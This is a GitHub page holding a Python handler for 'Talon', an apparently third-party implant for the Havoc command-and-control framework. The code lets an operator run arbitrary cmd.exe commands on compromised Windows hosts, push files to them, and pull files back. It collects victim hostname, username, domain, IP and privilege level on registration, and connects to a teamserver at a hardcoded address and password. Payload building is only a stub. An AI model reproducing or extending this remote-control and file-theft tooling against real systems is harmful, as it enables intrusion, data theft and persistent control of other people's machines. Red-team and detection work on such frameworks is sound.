-
Notifications
You must be signed in to change notification settings - Fork 17
/
Copy pathhavoc_agent_talon.py
290 lines (220 loc) · 9.55 KB
/
havoc_agent_talon.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
from base64 import b64decode
from havoc.service import HavocService
from havoc.agent import *
COMMAND_REGISTER = 0x100
COMMAND_GET_JOB = 0x101
COMMAND_NO_JOB = 0x102
COMMAND_SHELL = 0x152
COMMAND_UPLOAD = 0x153
COMMAND_DOWNLOAD = 0x154
COMMAND_EXIT = 0x155
COMMAND_OUTPUT = 0x200
# ====================
# ===== Commands =====
# ====================
class CommandShell(Command):
CommandId = COMMAND_SHELL
Name = "shell"
Description = "executes commands using cmd.exe"
Help = ""
NeedAdmin = False
Params = [
CommandParam(
name="commands",
is_file_path=False,
is_optional=False
)
]
Mitr = []
def job_generate( self, arguments: dict ) -> bytes:
Task = Packer()
Task.add_int( self.CommandId )
Task.add_data( "c:\windows\system32\cmd.exe /c " + arguments[ 'commands' ] )
return Task.buffer
class CommandUpload( Command ):
CommandId = COMMAND_UPLOAD
Name = "upload"
Description = "uploads a file to the host"
Help = ""
NeedAdmin = False
Mitr = []
Params = [
CommandParam(
name="local_file",
is_file_path=True,
is_optional=False
),
CommandParam(
name="remote_file",
is_file_path=False,
is_optional=False
)
]
def job_generate( self, arguments: dict ) -> bytes:
Task = Packer()
remote_file = arguments[ 'remote_file' ]
fileData = b64decode( arguments[ 'local_file' ] )
Task.add_int( self.CommandId )
Task.add_data( remote_file )
Task.add_data( fileData )
return Task.buffer
class CommandDownload( Command ):
CommandId = COMMAND_DOWNLOAD
Name = "download"
Description = "downloads the requested file"
Help = ""
NeedAdmin = False
Mitr = []
Params = [
CommandParam(
name="remote_file",
is_file_path=False,
is_optional=False
),
]
def job_generate( self, arguments: dict ) -> bytes:
Task = Packer()
remote_file = arguments[ 'remote_file' ]
Task.add_int( self.CommandId )
Task.add_data( remote_file )
return Task.buffer
class CommandExit( Command ):
CommandId = COMMAND_EXIT
Name = "exit"
Description = "tells the talon agent to exit"
Help = ""
NeedAdmin = False
Mitr = []
Params = []
def job_generate( self, arguments: dict ) -> bytes:
Task = Packer()
Task.add_int( self.CommandId )
return Task.buffer
# =======================
# ===== Agent Class =====
# =======================
class Talon(AgentType):
Name = "Talon"
Author = "@C5pider"
Version = "0.1"
Description = f"""Talon 3rd party agent for Havoc"""
MagicValue = 0x616c6f6e # 'talon'
Arch = [
"x64",
"x86",
]
Formats = [
{
"Name": "Windows Executable",
"Extension": "exe",
},
]
BuildingConfig = {
"Sleep": "10"
}
Commands = [
CommandShell(),
CommandUpload(),
CommandDownload(),
CommandExit(),
]
# generate. this function is getting executed when the Havoc client requests for a binary/executable/payload. you can generate your payloads in this function.
def generate( self, config: dict ) -> None:
print( f"config: {config}" )
# builder_send_message. this function send logs/messages to the payload build for verbose information or sending errors (if something went wrong).
self.builder_send_message( config[ 'ClientID' ], "Info", f"hello from service builder" )
self.builder_send_message( config[ 'ClientID' ], "Info", f"Options Config: {config['Options']}" )
self.builder_send_message( config[ 'ClientID' ], "Info", f"Agent Config: {config['Config']}" )
# build_send_payload. this function send back your generated payload.
self.builder_send_payload( config[ 'ClientID' ], self.Name + ".bin", "test bytes".encode('utf-8') )
# this function handles incomming requests based on our magic value.
def response( self, response: dict ) -> bytes:
agent_header = response[ "AgentHeader" ]
agent_response = b64decode( response[ "Response" ] )
response_parser = Parser( agent_response, len(agent_response) )
Command = response_parser.parse_int()
if response[ "Agent" ] == None:
# so when the Agent field is empty this either means that the agent doesn't exists/is not registered or we fucked up
if Command == COMMAND_REGISTER:
print( "[*] Is agent register request" )
RegisterInfo = {
"AgentID" : response_parser.parse_int(),
"Hostname" : response_parser.parse_str(),
"Username" : response_parser.parse_str(),
"Domain" : response_parser.parse_str(),
"InternalIP" : response_parser.parse_str(),
"Process Path" : response_parser.parse_str(),
"Process ID" : str(response_parser.parse_int()),
"Process Parent ID" : str(response_parser.parse_int()),
"Process Arch" : response_parser.parse_int(),
"Process Elevated" : response_parser.parse_int(),
"OS Build" : str(response_parser.parse_int()) + "." + str(response_parser.parse_int()) + "." + str(response_parser.parse_int()) + "." + str(response_parser.parse_int()) + "." + str(response_parser.parse_int()),
"OS Arch" : response_parser.parse_int(),
"Sleep" : response_parser.parse_int(),
}
print( f"[*] RegisterInfo: {RegisterInfo}" )
RegisterInfo[ "Process Name" ] = RegisterInfo[ "Process Path" ].split( "\\" )[-1]
# this OS info is going to be displayed on the GUI Session table.
RegisterInfo[ "OS Version" ] = RegisterInfo[ "OS Version" ] # "Windows Some version"
if RegisterInfo[ "OS Arch" ] == 0:
RegisterInfo[ "OS Arch" ] = "x86"
elif RegisterInfo[ "OS Arch" ] == 9:
RegisterInfo[ "OS Arch" ] = "x64/AMD64"
elif RegisterInfo[ "OS Arch" ] == 5:
RegisterInfo[ "OS Arch" ] = "ARM"
elif RegisterInfo[ "OS Arch" ] == 12:
RegisterInfo[ "OS Arch" ] = "ARM64"
elif RegisterInfo[ "OS Arch" ] == 6:
RegisterInfo[ "OS Arch" ] = "Itanium-based"
else:
RegisterInfo[ "OS Arch" ] = "Unknown (" + RegisterInfo[ "OS Arch" ] + ")"
# Process Arch
if RegisterInfo[ "Process Arch" ] == 0:
RegisterInfo[ "Process Arch" ] = "Unknown"
elif RegisterInfo[ "Process Arch" ] == 1:
RegisterInfo[ "Process Arch" ] = "x86"
elif RegisterInfo[ "Process Arch" ] == 2:
RegisterInfo[ "Process Arch" ] = "x64"
elif RegisterInfo[ "Process Arch" ] == 3:
RegisterInfo[ "Process Arch" ] = "IA64"
self.register( agent_header, RegisterInfo )
return RegisterInfo[ 'AgentID' ].to_bytes( 4, 'little' ) # return the agent id to the agent
else:
print( "[-] Is not agent register request" )
else:
print( f"[*] Something else: {Command}" )
AgentID = response[ "Agent" ][ "NameID" ]
if Command == COMMAND_GET_JOB:
print( "[*] Get list of jobs and return it." )
Tasks = self.get_task_queue( response[ "Agent" ] )
# if there is no job just send back a COMMAND_NO_JOB command.
if len(Tasks) == 0:
Tasks = COMMAND_NO_JOB.to_bytes( 4, 'little' )
print( f"Tasks: {Tasks.hex()}" )
return Tasks
elif Command == COMMAND_OUTPUT:
Output = response_parser.parse_str()
print( "[*] Output: \n" + Output )
self.console_message( AgentID, "Good", "Received Output:", Output )
elif Command == COMMAND_UPLOAD:
FileSize = response_parser.parse_int()
FileName = response_parser.parse_str()
self.console_message( AgentID, "Good", f"File was uploaded: {FileName} ({FileSize} bytes)", "" )
elif Command == COMMAND_DOWNLOAD:
FileName = response_parser.parse_str()
FileContent = response_parser.parse_str()
self.console_message( AgentID, "Good", f"File was downloaded: {FileName} ({len(FileContent)} bytes)", "" )
self.download_file( AgentID, FileName, len(FileContent), FileContent )
else:
self.console_message( AgentID, "Error", "Command not found: %4x" % Command, "" )
return b''
def main():
Havoc_Talon = Talon()
Havoc_Service = HavocService(
endpoint="wss://192.168.0.148:40056/service-endpoint",
password="service-password"
)
Havoc_Service.register_agent(Havoc_Talon)
return
if __name__ == '__main__':
main()